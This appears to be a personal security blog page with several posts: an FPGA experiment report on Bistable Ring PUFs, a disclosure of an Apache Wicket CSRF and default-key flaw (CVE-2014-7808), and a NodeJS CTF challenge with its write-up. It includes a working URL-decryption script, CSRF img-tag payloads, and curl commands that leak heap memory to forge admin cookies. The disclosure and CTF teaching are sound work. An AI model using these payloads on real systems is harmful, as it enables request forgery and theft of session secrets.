BR-PUF Analysis

Posted on Sun 22 January 2017 in posts • Tagged with hardware, researchLeave a comment

This report describes my work for the Computer Security Project at the Technical University of Berlin. The results of my experiments were used in the paper Strong Machine Learning Attack against PUFs with No Mathematical Model and presented at CHES 2016.

Motivation and background for this field of research

Building a hardware product that cannot be copied is hard. Especially small integrated chips make it hard to distinguishing between a knockoff device and a real one. But this is not only a copyright concern, but also important to ensure trust in a device's origin. For example a chip could be replaced in the manufacturing chain with a backdoored version. A good example to understand the problem is to look at smart cards, especially the ones used for decrypting premium TV channels. The whole business model relies on a shared secret key, embedded inside of the chips. It's obviously in the interest of the company, that nobody can crate a working copy of such a card. But once the secret key is extracted through various hardware attack techniques, creating a copy of a smart card is trivial.

Is there a way how hardware could be manufactured, such that it's practically impossible to copy - and not just very expensive to copy?

Physically Unclonable Function

Physically Unclonable Function (short: PUF) is a concept that attempts to exploit (utilize) physical impurities, which are different for each device, to make exact physical copies impossible to manufacture. In practice this is often used to verify, that a particular hardware (a chip) is not counterfeit. This is usually implemented with a challenge and response protocol. A vendor can collect valid responses for random challenges of a chip, and the customer can verify later, that the device bought, was really made by that manufacturer.

While creating an exact copy of the chip might be impossible, one could try to understand the mathematical model underlaying the behavior and therefor is able to create a device that emulates the behavior of the original chip. Will every PUF have this flaw, that math can describe it's behavior, or are there PUFs that are truly random and thus unpredictable? - that is an unsolved question.

With the experiments I conducted, we tried to understand a certain PUF family better, whose underlaying mathematical model is unknown. But Fatemeh Ganji and Shahin Tajik were able, with the data I collected, to construct a machine learning algorithm that can learn the behavior of this PUF family.

Bistable Ring PUF

The Bistable Ring PUF (short: BR-PUF) exploits the behavior of inverters in a ring configuration. A digital inverter could for example output 0V if the input was 5V, and output 5V if the input was 0V. Connecting the output of a digital inverter back to it's input will result in an oscillator, which constantly tries to correct the output based on the new input. Connecting two inverters, like shown in the picture below, should result in a stable configuration.

But theoretical it's not possible predict if the the right wire will outputting a logical 1, or if the left wire will output a 1. While this is unpredictable in theory, in practice manufacturing can cause a device to always show the same result when powered on.

inverter_ring.png

This fact can then be used in a configuration like shown below to create a unique challenge and response behavior.

br_puf.png

The BR-PUF contains an even number of stages. Each stage contains two inverters in parallel. Only one is used at a time. Which one depends on the challenge input bit c[i]. for example if the 1st challenge bit is set c[0]=1, then the first inverter in the first stage would be used. If it's not set c[0]=0, then the second inverter would be used. So based on the challenge bit string c[0]...c[n] (eg. 011..110), a unique inverter ring can be configured. Ideally when a single challenge bit is changed, the outcome should be unpredictable. Similar to a cryptographic hash function - change one bit in the input, observe a basically random change in the output.

The question is, can a mathematical model describe the behavior, or can the behavior be emulated by a machine learning algorithm?

Experiment Setup

Plan

To evaluate a big number of BR-PUFs, we used an FPGA-based implementation. This way we can automatically generate new PUF implementations, program the board, run our tests, and continue with the next one. This way we can gather huge amounts of data, for a lot of different PUF configurations.

Hardware

de0.jpg

For the experiments we used a DE0-Nano FPGA Board with an ALTERA Cyclone IV. The following setup was used to perform the tests:

setup.png

Windows Host (1) was connected via USB to the FPGA (3), in order to program new PUF configurations via Quartus Programmer (Quartus II 15.0 64-bit Web Edition). After successfully programming the FPGA, it would notify the OSX Host (2) via an Ethernet connection.

The OSX Host (2) implemented a simple server which is waiting for the signal that the FPGA is ready. A script would then start which runs a large amount of challenges via the UART connection and collects the responses. Once all challenges were executed, the Server would respond back to the Windows Host (1), which then can generate another PUF configuration, and start the whole cycle over.

Based on the collected challenges some basic analysis were performed and saved in a github repository for further analysis.

Experiment Execution

Automating PUF generation with Quartus

The first big challenge was to figure out how we could automate programming the FPGA with Quartus. This was not straightforward, because we didn't want to generate verilog code and then recompile it, we wanted to control where the PUF stages are placed inside of the chip. Basically control which logic-cells will be used. This can be achieved using the GUI Assignment Editor. To figure out how this can be done without the GUI, I have observed what kind of files are generated and what kind of programs Quartus invokes upon compilation. This way I learned that the configurations from the Assignment Editor, which can be used to choose the physical location on the FPGA for certain pieces, are written into a Quartus settings file.qsf.

An example assignment configuration in the GUI could look like this:

assignment.png

Which corresponds to the following lines in the .qsf file:

set_location_assignment FF_X30_Y1_N5 -to "puf_c[0]"
set_location_assignment LCCOMB_X30_Y1_N4 -to "br_puf:pufi|br_stage:br_stage_0|x[0]"
set_location_assignment LCCOMB_X30_Y1_N6 -to "br_puf:pufi|br_stage:br_stage_0|x[1]"
set_location_assignment LCCOMB_X30_Y1_N20 -to "br_puf:pufi|br_stage:br_stage_0|y[0]"
set_location_assignment LCCOMB_X30_Y1_N22 -to "br_puf:pufi|br_stage:br_stage_0|y[1]"
set_location_assignment LCCOMB_X30_Y1_N30 -to "br_puf:pufi|br_stage_io[0]"
set_location_assignment FF_X30_Y2_N5 -to "puf_c[1]"
set_location_assignment LCCOMB_X30_Y2_N4 -to "br_puf:pufi|br_stage:br_stage_1|x[0]"
set_location_assignment LCCOMB_X30_Y2_N6 -to "br_puf:pufi|br_stage:br_stage_1|x[1]"
set_location_assignment LCCOMB_X30_Y2_N20 -to "br_puf:pufi|br_stage:br_stage_1|y[0]"
set_location_assignment LCCOMB_X30_Y2_N22 -to "br_puf:pufi|br_stage:br_stage_1|y[1]"
set_location_assignment LCCOMB_X30_Y2_N30 -to "br_puf:pufi|br_stage_io[1]"
set_location_assignment FF_X30_Y3_N5 -to "puf_c[2]"

With the generated .qsf file, we can then compile this specific PUF configuration and program the FPGA:

quartus_map --read_settings_files=on --write_settings_files=off puf_top -c puf_top
quartus_fit --read_settings_files=off --write_settings_files=off puf_top -c puf_top
quartus_asm --read_settings_files=off --write_settings_files=off puf_top -c puf_top
quartus_cdb puf_top -c puf_top --write_eqn_file --netlist_type=cmp
quartus_sta puf_top -c puf_top
quartus_asm puf_top
quartus_pgm -c usb-blaster chain_description.cdf

This setup can be used to automatically configure the PUF in various places on the FPGA. For example in a row or column of logic-cells, and then move this line around - first implement a PUF in column 1/2, then in 2/3 and so forth.

Visualizing the FPGA usage

In the Quartus Chip Planber we can see where our FPGA configuration will be placed. This is great to visualize the kind of PUF we have configured. Notice the two colored straight columns, those are the 32 BR-Puf stages - the ring configuration.

chip_planner.png

To verify that the PUF was really configured how we wanted to, and also to understand the data we collect better, I visualized the FGPA configuration after compilation. Quartus generates an output file puf_top.fit.eqn, which contains the information which component gets placed where. I wrote a script to parse this file and generate an image like this one:

fpga.png

The implementation is horrible but "works for me". I generated an .html file with a huge <div> grid and colored it accordingly with CSS, then rendered it with the selenium webdriver to get the image.

Collecting data

Like mentioned above, we used UART to set a challenge and then read the response. We used several different ways to generate challenges throughout the research. For most of it we used randomly generated challenges. But for example for small PUFs with only 8 or 16 bit, we could run all possible challenges.

We also looked at the impact of a single bit change in a challenge. For example take a random challenge, then always look at the response when only one bit is changed. This way we can learn if a single bit change truly changes the output randomly, or if a single bit has no great effect in a particular configuration.

Very quickly it's clear that certain challenges produce unstable outputs. This means if you apply the same challenge to the PUF (selecting always the same path of inverters) the result might be a 0 or a 1. So we ran every challenge multiple times and stored each response. This way we can see which challenges are very stable, and always have the same response, or which ones are unstable and switch sometimes.

Generating Reports

For the collected data I then created a report like the one below. In this case you can see several different PUF configurations. This table shows simple information like the amount of challenges, and what the ratio between 0 and 1 responses was. For example the PUF implemented in columns 16/17 (LAB1_X16_X17) has a fairly balanced output. While the PUF in columns 23/24 (LAB1_X23_X24) is extremely biased to return a 0.

report1.png

For each PUF I generated a more detailed report. This includes the PUF configuration, simple pie charts, but also more comlex diagrams. For example visualizing in how many challenges that returned a 0 a bit was set to 1. This way you could identify "influential bits" in a challenge, which have a huge effect on the result.

report2.png

Analyzing the data and interesting observations

When I started with my experiments and got the first data, we identified problems, weird behaviors and other things that changed the strategy and setup throughout the research. Here are some examples:

Biased PUFs

Most of the PUF configurations we tested turned out to be hugely biased. Meaning they will most of the time return a 0 or 1. Which is quite bad if you want to implement a strong PUF with unpredictable responses. If a PUF returns mostly 1 for all challenges, it's not hard to guess the response for different challenge. A strong PUF would basically have an unbiased 50:50 outcome with a big number of random challenges. Because of this, we focused most analysis on PUFs that we considered to be quite strong - meaning their response can not be predicted with high accuracy based on their bias.

Unstable vs. stable challenges

Another variable we wanted to control is, at what point of time do we read the response from the inverter ring. At the beginning the state of the PUF was read when the response was requested via UART. But at some point I implemented a counter setting. This counter would starts at 0 when turned on, and once it reaches a configured number, it would read the current state of the PUF and save it. Which can then be extracted via UART at some later point in time.

This way we were able to answer questions such as, if a BR-PUF gets more stable over time. And make sure that a collected dataset has more controlled variables.

Here is an example stable challenge with a counter. Yellow is the output of the PUF. Blue indicates when the counter is done and the current logical value of the PUF (yellow) is stored.

(1) The PUF is turned on. The inverter ring starts to power on and starts to oscillate slightly, but it fairly quickly moves towards a stable logical output of 1.

(2) The counter, which started at 0 when the device turned on, reached the configured value. At this point in time the logical value of the PUF (yellow) is stored as a response for this particular challenge.

(3) Then we can see how the PUF output finally stabilizes on the logical 1, a little bit after the response was already saved.

stable.png

The next image will show an unstable challenge.

(1) The PUF is turned on. The inverter ring starts oscillating heavily between logical 1 and 0.

(2) The counter reached the configured value and reads the current state of the PUF (yellow). Because of the heavily oscillating PUF, the response is either a 0 or 1 by chance.

(3) It's extremely interesting that even after a longer period of time, the PUF never becomes stable. We would expect that an even number of inverters would be stable at some point, but this is apparently not the case.

unstable.png

Results influence each-other

While testing, I noticed that some challenges are heavily influenced by previous results. So for example if challenge X returned a 1 and is followed by challenge Y, then challenge Y also returns a 1. But if Z returned a 0 and is followed by a Y, then challenge Y returns a 0. This was quite a big shock, but glad we caught it.

A BR-PUF implemented in an FPGA is not a "perfect" implementation - in the sense that logic-cells are configured with a lookup table to make it behave like an inverter. Here is a picture from Quartus, showing how one particular inverter cell is connected.

lut.png

Not every possible input into the logical cell is connected. And this causes some analog electrical circuit magic interference that I don't quite understand. We connected these inputs in a specific way and have not observed challenges that influence each other anymore. Unfortunately I haven't figured out how to fix the PUF configurations automatically after creating a new configuration, so I had to do the post fitting assignment by hand.

Stable but oscillating challenges

Another interesting observation I made while looking at the PUF with an oscilloscope were challenges that were basically stable, but not really. What I mean by that is, that certain challenges cause the ring of inverters to oscillate not in chaos, but create a spike that travels around the ring with a certain frequency.

The yellow line shows again the state of the PUF, while the blue one indicates when a response was stored. The interesting part here is that the yellow line is logical 0 for most of the time, but once in a while shows a peak - a wave is traveling around the inverter ring. So even if we humans can read this as generally a stable response 0, the PUF could by accident read the logical state right at the point of a spike, and read a 1 instead.

oscillating.png

This traveling wave is especially interesting when looking at different points in time. The top trace is captured when the counter reached 0x1ff, so a fairly short amount of time, and the bottom trace shows the state of the PUF after the counter has counted to 0x4ffff.

Applying the same challenge over and over again shows that the spikes appear at basically the same place every time with a short counter. But when more time passes (bottom trace), then spikes appear in more chaotic places. Which indicates that the waves don't travel with the same frequency every time, but slowly drift.

Results

While I took part in many meetings where we discussed results and weird behaviors, most of the real analysis and interpretation of data was done by Fatemeh Ganji and Shahin Tajik. So I suggest you to read the paper: Strong Machine Learning Attack against PUFs with No Mathematical Model.


CVE-2014-7808 - Apache Wicket CSRF (2014)

Posted on Sat 29 October 2016 in posts • Tagged with script, python, security, web, cryptoLeave a comment

This is about a vulnerability I discovered in Apache Wicket in 2014, but never got around to publishing my write-up. So it's kinda outdated now... Apache Wicket is a web application framework for Java and is used by quite a few big sites. I had a closer look at the encrypted url feature, which supposedly protects from cross-site request forgery.

Unfortunately the proposed simple example is inherently flawed for two reasons. First I will give a quick reminder what CSRF (cross-site request forgery) is - you can skip over it if you are familiar with that term. Then I will explain why this solution doesn't protect you from CSRF and at the end I will propose a solution that works.

encrypted urls

CSRF Introduction

Cross-site request forgery is very simple but powerful. Imagine a browsergame with a form to send gold to another user:

<form action="/send_gold" method="get">
    gold: <input type="text" name="gold">
    user: <input type="text" name="user">
    <input type="submit" value="send gold">
</form>

When you submit this form, the browser will send a GET request to http://www.example.com/send_gold?gold=9999&user=samuirai. Now wouldn't it be great if all players of the game would be so nice to send you all their gold for showing them what CSRF is?

Just embed this URL as a picture, for example in your game profile or on a fan site:

<img src="http://www.example.com/send_gold?gold=9999&user=samuirai">

Hint: Open the developer console of your browser go to the Network tab and reload this site.

Every player who is logged into the game and visist a site with this image will unwillingly send this request to the game server and transfer the gold to you.

Defeating Encrypted URLs

Apache Wicket had the great idea that encrypted URLs stop an attacker from doing this, presumably because an attacker can't guess the URL. The default implementation org.apache.wicket.util.crypt.SunJceCrypt uses CRYPT_METHOD = "PBEWithMD5AndDES";, which means a password is hashed with MD5 (with a salt and 17 rounds) and this hash is used as key and iv for DES - not a very strong method, but there are bigger problems.

For example this URL path:
http://www.example.com/send_gold
becomes:
http://www.example.com/jLBQXvh2Z88wFVtnKfsZMw/jLB0f - very cryptic, huh?

But apache wicket does two mistakes here. First mistake is that the example implementation uses the default password: WiCkEt-FRAMEwork. Many many sites don't bother or don't know they should change the password. So an attacker can easily decrypt the URLs and generate all the valid URLs he wants - not only for CSRF but also for other attacks such as reflected XSS (how convinient that the URL hides injected Javascript from XSS auditor and alert users :P).

Proof of concept: This python script will try to decrypt URLs using a standard password. pip install pycrypto required.

from Crypto.Hash import MD5
from Crypto.Cipher import DES
import string, base64

# Code inspired by http://stackoverflow.com/questions/24168246/replicate-javas-pbewithmd5anddes-in-python-2-7
# CryptoMapper: insecure default encryption provider - https://issues.apache.org/jira/browse/WICKET-5327

# org.apache.wicket.util.crypt.AbstractCrypt
# private static final String DEFAULT_ENCRYPTION_KEY = "WiCkEt-CrYpT";
# org.apache.wicket.settings.ISecuritySettings
# public static final String DEFAULT_ENCRYPTION_KEY = "WiCkEt-FRAMEwork";
passwords = ["WiCkEt-CrYpT", "WiCkEt-FRAMEwork"]

# org.apache.wicket.util.crypt.SunJceCrypt
# private final static byte[] salt = { (byte)0x15, (byte)0x8c, (byte)0xa3, (byte)0x4a,
#            (byte)0x66, (byte)0x51, (byte)0x2a, (byte)0xbc };
salt = '\x15\x8c\xa3\x4a\x66\x51\x2a\xbc'
# private final static int COUNT = 17;
iterations = 17

# put your urls here (without leading /)
urls = ["mXHxTzUe5kU/mXH2c/HxTd3", "jLBQXvh2Z88wFVtnKfsZMw/jLB0f", "jLBQXvh2Z8_9tdbDCVb40AGz9WkLG1XqXeRj081Q1Jcz4Ns6k8UYfQ/jLB0f"]

for url in urls:
    hashes = url.split("/")[1:]
    url = url.split("/")[0]

    encrypted = url+'='*(4-len(url)%4)
    encrypted = base64.urlsafe_b64decode(encrypted)
    printset = set(string.printable)

    for password in passwords:
        # get password based of salt and do iterations
        hasher = MD5.new()
        hasher.update(password)
        hasher.update(salt)
        result = hasher.digest()
        for i in range(0, iterations-1):
            hasher = MD5.new()
            hasher.update(result)
            result = hasher.digest()

        # setup DES key and iv
        encoder = DES.new(result[:8], DES.MODE_CBC, result[8:16])
        decrypted = encoder.decrypt(encrypted)
        # check last byte for the number of paddings. eg. \x03 means the padding is \x03\x03\x03
        decrypted = decrypted[:-ord(decrypted[-1])]

        print "%s: %s" % (password, decrypted)

Ok let's assume the developers knew about the default password and changed it to sUp3r-pw. And nobody has a fast brute-force implementation for PBEWithMD5AndDES. They are still vulnerable to CSRF. How? - Well I as an attacker really don't care about the content of the URL. I just want to know where I can send the request to.

So when I see this form:

<form action="/jLBQXvh2Z88wFVtnKfsZMw/jLB0f" method="get">
    gold: <input type="text" name="gold"><br>
    user: <input type="text" name="user"><br>
    <input type="submit" value="send gold">
</form>

I just embed this encrypted URL:

<img src="http://www.example.com/jLBQXvh2Z88wFVtnKfsZMw/jLB0f?gold=9999&user=samuirai">

So this means the example "secure" implementation doesn't protect from CSRF at all.

Defeating Stateful URLs

Actually a bigger obstacle than encrypted URLs are Apache Wickets stateful URLs. They are easily identified with the number as parameter such as ?2:

http://www.example.com/?2

Form URLs typically look like this:

http://www.example.com/send_gold?2-3

Basically the first number is always incremented while visiting different subsites. While the second number is incremented on multiple refreshes on a single page. So this actually makes guessing the URL more difficult. I as an attacker don't know at what number a user currently is.

This even makes the encrypted URLs look more "cryptic" (constantly changing):

jLBQXvh2Z8-HODOeQCH9GQ/jLB0f
jLBQXvh2Z8-FU4wfhiD0Ow/jLB0f
jLBQXvh2Z89f9DoesvYokw/jLB0f

But this can be easily bypassed too, just by collecting a lot of urls. (note the incrementing parameters ?1-1, ?1-2, ...)

<img src="http://www.example.com/send_gold?1-1&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?1-2&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?1-3&gold=9999&user=samuirai">
...
<img src="http://www.example.com/send_gold?2-1&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?2-2&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?2-3&gold=9999&user=samuirai">
...
<img src="http://www.example.com/send_gold?3-1&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?3-2&gold=9999&user=samuirai">
<img src="http://www.example.com/send_gold?3-3&gold=9999&user=samuirai">

Or collecting the encrypted URLs.

<img src="http://www.example.com/jLBQXvh2Z8-HODOeQCH9GQ/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z8-FU4wfhiD0Ow/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z89f9DoesvYokw/jLB0f&gold=9999&user=samuirai">
...
<img src="http://www.example.com/jLBQXvh2Z88wxDY9S3LTMQ/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z88oJJD4p5h0dg/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z8_PDocfRInEPA/jLB0f&gold=9999&user=samuirai">
...
<img src="http://www.example.com/jLBQXvh2Z8_81XMd6tmziQ/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z8-k4vLFlJzLkg/jLB0f&gold=9999&user=samuirai">
<img src="http://www.example.com/jLBQXvh2Z886SNVeRy1f2Q/jLB0f&gold=9999&user=samuirai">

When a user loads these hundreds of images, I can be very confident that at least ONE of them match the current state number.

This is a perfect example for a cryptographic replay attack.

Solutions

The best CSRF protection is a so called csrf-token. The server generates a random string for each form and embeds it as <input type="hidden" name="csrf-token" value="r4nd0m123">. When the form is submitted, the server verifies the token.

When using encryption, Apache Wicket should be configured to use org.apache.wicket.util.crypt.KeyInSessionSunJceCryptFactory which doesn't take a fixed key, but generates a new key for each user.

This info should also be added in the standard Apache Wicket Guide. Otherwise developers will continue to implement the default insecure example.


Funny sidenote: This master thesis analyzed the security of this feature and got it wrong.


NodeJS Hacking Challenge - writeup

Posted on Tue 26 January 2016 in posts • Tagged with ctf, nodejsLeave a comment

You can read the previous article on how to setup and access the NodeJS hacking challenge. I will now spoil the challenge, so if you want to try it yourself, stop reading now!

Scroll down for a TL;DR writeup.


1. getting an overview

index page

When we first access the page we find this nice landing page. I tried to make a lame joke, but also hint at the issue. Languages like C are very prone to memory corruption vulnerabilities, especially when an inexperienced programmer starts writing C code. That's why it's advised, to choose "memory safe" languages for regular projects, or generally languages that make it harder to make mistakes. JavaScript is one of those more safe languages. But the bug that will be exploited here shows, that even in this very high-level language, you might not be as safe as you think you are.

In the menu we can see the items Home, Vexillology and Code. The latter is just a link to the source code

index page

The /admin or private Vexillology area is protected by a big password prompt. When we enter a password we get told that the password is wrong.

index page

When we open the developer console from our browser, we can see that when we enter a password, a POST request to /login is performed with the password as JSON data {"password": "test"}.

Another thing we should pay attention to is the cookie. Infact there are two cookies. session=eyJhZG1pbiI6Im5vIn0= and session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs. When you decode the base64 session cookie, you will see that it says {"admin":"no"}. Now you might think that we can simply set this to "yes". But this won't work, because the cookie is HMAC protected. If you change it the server will simply throw it away.

There is a good reason why you would want to store this information in a cookie with the client. This way you can have a stateless server application, and you can easily spin up new machines or do load-balancing without having to think about sharing a database with the session information.

2. code review

Now let's have a look at the source code. A good point to start is the app.js file. We can learn several things from it. First we can see that the app uses the express web framework var express = require('express');. But this doesn't really matter too much here.

We can also have a look into the config.js file, which contains a dummy secret_password and dummy session_keys. Those keys are used to generate the HMAC for the cookies.

Next we should have a look at routes/index.js to see where our requests are handled. And it's really not much code.

router.get('/', function(req, res, next) {
    res.render('index', { title: 'index', admin: req.session.admin });
});

router.get('/admin', function(req, res, next) {
    res.render('admin', { title: 'Admin area', admin: req.session.admin, flag: config.secret_password });
});

router.get('/logout', function(req, res, next) {
    req.session = null;
    res.json({'status': 'ok'});
});

router.post('/login', function(req, res, next) {
    if(req.body.password !== undefined) {
        var password = new Buffer(req.body.password);
        if(password.toString('base64') == config.secret_password) {
            req.session.admin = 'yes';
            res.json({'status': 'ok' });
        } else {
            res.json({'status': 'error', 'error': 'password wrong: '+password.toString() });
        }
    } else {
        res.json({'status': 'error', 'error': 'password missing' });
    }
});

You might notice that the secret_password is given as flag to the admin template. If you look at the template code in views/admin.jade you can see that if you were authenticated as an admin, you would get the secret_password.

if admin === 'yes'
    p You are admin #{flag}
else
    ....

The only function that seems to have a bit more functionality is /login. Login checks if a password is set. Then it creates a Buffer() from the password, converts the Buffer to a base64 string, which can then be compare to the secret_password. If that were successful, the session would set admin = 'yes'.

3. the vuln

Somebody with a hacker mindset might immediately try to trace where untrusted userinput is handled. And eventually you would come across the Buffer class. And it turns out that Buffer() behaves differently based on the parameter. You can test this with NodeJS on the commandline:

> Buffer('AAAA')
<Buffer 41 41 41 41>
> Buffer(4)
<Buffer 90 4e 80 01>
> Buffer(4)
<Buffer 50 cc 02 02>
> Buffer(4)
<Buffer 0a 00 00 00>

You can see that when Buffer is called with a string, it will create a Buffer containign those bytes. But if it's called with a number, NodeJS will allocate an n byte big Buffer. But if you look closely, the buffer is not simply <Buffer 00 00 00 00>. It seems to always contain different values. That is because Buffer(number) doesn't zero the memory, and it can leak data that was previously allocated on the heap.

This is the issue that recently surfaced. NodeJS issue #4660 discusses the issue and possible fixes. And yes, there were real-world packages affected.

So becaue we have a JSON middleware (app.use(bodyParser.json())), we can actually send POST data that contains a number. And when you do that, the API will return some memory that is leaked from the heap:

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | hexdump -C
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 69 73 41 72 72  |ord wrong: isArr|
00000030  61 79 2f ef bf bd 71 ef  bf bd 5c 75 30 30 30 30  |ay/...q...\u0000|
00000040  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|
00000050  30 30 5c 75 30 30 30 30  5c 75 30 30 31 30 ef bf  |00\u0000\u0010..|
00000060  bd 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.C\u0003\u0000\u|
00000070  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000\u0000\u0000|
00000080  5c 75 30 30 30 31 3c 2f  70 72 65 3e 3c ef bf bd  |\u0001</pre><...|
00000090  7f 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.C\u0003\u0000\u|
000000a0  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000\u0000\u0000|
000000b0  5c 75 30 30 30 37 5c 75  30 30 30 30 5c 75 30 30  |\u0007\u0000\u00|
000000c0  30 30 5c 75 30 30 30 30  2f 68 74 6d 5c 75 30 30  |00\u0000/htm\u00|
000000d0  30 32 5c 75 30 30 31 32  d0 a3 5c 75 30 30 30 30  |02\u0012..\u0000|
000000e0  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|
000000f0  30 30 5c 75 30 30 30 30  5c 75 30 30 30 30 5c 75  |00\u0000\u0000\u|
00000100  30 30 30 30 5c 75 30 30  30 30 76 65 5c 75 30 30  |0000\u0000ve\u00|
00000110  30 30 5c 75 30 30 30 30  ef bf bd 7f 43 5c 75 30  |00\u0000....C\u0|
00000120  30 30 33 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |003\u0000\u0000\|
00000130  75 30 30 30 30 5c 75 30  30 30 30 5c 75 30 30 30  |u0000\u0000\u000|
00000140  30 5c 75 30 30 30 30 5c  75 30 30 30 30 5c 75 30  |0\u0000\u0000\u0|
00000150  30 30 30 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |000\u0000\u0000\|
00000160  75 30 30 30 30 5c 75 30  30 30 30 ef bf bd ef bf  |u0000\u0000.....|
00000170  bd ef bf bd 5c 75 30 30  30 30 5c 75 30 30 30 30  |....\u0000\u0000|
00000180  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |\u0000\u0000\u00|
00000190  30 30 3a 5c 75 30 30 30  36 5c 75 30 30 30 30 5c  |00:\u0006\u0000\|
000001a0  75 30 30 30 30 ef bf bd  5c 75 30 30 30 30 5c 75  |u0000...\u0000\u|
000001b0  30 30 30 30 5c 75 30 30  30 30 50 32 31 5c 75 30  |0000\u0000P21\u0|
000001c0  30 30 33 22 7d                                    |003"}|

When you do this often enough, at some point you will leak one of the session_keys:

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | hexdump -C
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 41 4c 4c 45 53  |ord wrong: ALLES|
00000030  7b 73 65 73 73 69 6f 6e  5f 6b 65 79 5f 4b 2e 47  |{session_key_K.G|
00000040  4b 51 65 52 30 4a 53 32  62 39 4f 68 77 53 48 23  |KQeR0JS2b9OhwSH#|
00000050  55 64 4d 68 4c 34 45 64  64 78 65 44 3f 7d 72 64  |UdMhL4EddxeD?}rd|
00000060  41 70 70 7b 5c 22 61 64  6d 69 6e 5c 22 3a 5c 22  |App{\"admin\":\"|
00000070  6e 6f 5c 22 7d 3e 69 3c  21 44 4f 43 54 59 50 45  |no\"}>i<!DOCTYPE|
00000080  20 68 74 6d 6c 3e 3c 68  74 6d 6c 20 6e 67 2d 61  | html><html ng-a|
00000090  70 70 3d 22 7d                                    |pp="}|
00000095
curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{\"password\": 100}" | grep ALLES                           1 ↵
{"status":"error","error":"password wrong: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}><lin{\"admin\":\"no\"}eet\" href=\"/stylesheets/style."}

Leaked session key: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}

Why can the session key be leaked here? And why can I not leak the secret password? I only have some assumption for the latter, and that is, that the hardcoded password is somewhere in the memory area that is mapped when the JIT compiler takes care of the JS code. But the Buffer() allocated memory area is somehwere else.

The NodeJS app uses cookie-session var session = require('cookie-session'). Which has a dependency to cookies, which has a dependency to keygrip. And keygrip does the HMAC signature by using the node core crypto package. And crypto creates a Buffer from the key. This means that an old session key could be leaked from memory.

With this session key we can now simply create a {"admin": "yes"} cookie with a valid signature. Which allows us to get access to the private area. You can do that by using the source code of this app, change the session_key in config.js and set the default cookie to req.session.admin = 'yes' in app.js.

Then you can grab the values from your modified local application, and simply set those cookies for the challenge server: session=eyJhZG1pbiI6InllcyJ9 and session.sig=oom6DtiV8CPOxVRSW3IFtE909As.

admin access

And now we can decode the base64 flag, which is our secret_password:

ALLES{use_javascript_they_said.its_a_safe_language_they_said}


TLDR: send a number as password to get a memory leak from NodeJS Buffer(number). POST /login {"password": 1000}. With a couple of tries you should leak the session key, which can be used to create a new valid signed cookie with {"admin": "yes"}. Win!


Fun Fact: this application is probably also vulnerable to a timing attack: http://codahale.com/a-lesson-in-timing-attacks/ password.toString('base64') == config.secret_password


NodeJS Hacking Challenge

Posted on Fri 22 January 2016 in posts • Tagged with ctf, nodejsLeave a comment

I really like to play CTFs (hacking games), because I always learn something new. But sometimes it's also fun to create a challenge yourself. A couple of days ago a nice NodeJS issue surfaced on my twitter feed and because I didn't have a lot of experience with NodeJS, I thought it would be a cool idea to learn more about it, by creating a challenge around it.

At the time of writing this blog post, I still host the challenge on a disposable VM at http://46.101.185.27:3000/. The source code is available for download here. This website has a restricted area /admin that requires a password to login.

The goal is to successfully gain access to the restricted area and find the secret_password. The source code contains a dummy password and keys, which are obviously different on the actual challenge server. But they are easy identifiable because they follow the same format ALLES{...}. So you know when you got it.

If you stumble across this post at some point in the future and my VM is probably not running anymore, you can just host it locally. Make sure you have NodeJS and npm installed. In case something changes in the future, I am running following versions:

$ cd nodejs_chall
$ node -v
v4.2.4
$ npm -v
2.14.12
$ npm install # install dependencies
$ npm start # start server on http://127.0.0.1:3000

If you want to give it a try yourself, you should stop reading now!

If you already tried everything (ALLES!), but you couldn't find the issue, read the follow up article.


Creating a Hacking Game - Part 2: The System

Posted on Sun 09 August 2015 in posts • Tagged with ctf, grackerLeave a comment

For an introduction to my hacking game, checkout: Creating a Hacking Game - Part 1: Introduction

Creating this system was an interesting challenge - the main threat vector are root exploits. I'm not a sysadmin and my Linux knowledge is not very in-depth. But I'm still pretty confident in my design. So now I want to go over every design decision.

> The whole setup is currently running on a very cheap vServer running a 64bit Debian

I got a cheap vServer because I didn't want to pay a lot of money for something nobody will use. And I chose Debian because that's the OS I'm most familiar with on a Server. But the distro shouldn't really matter as you will see soon.

> Chroot Jail for the game:

I wanted to separate the game from the real system and chroot seemed like a very good choice to handcraft the system. This can be easily done with sshd:

Match user level*
    PasswordAuthentication yes
    chrootdirectory /var/sshjail/

This means that all players will chroot to /var/sshjail and they should only be able to access the files inside that folder. So the whole system may look like this:

/proc
/home
/home/user
/var
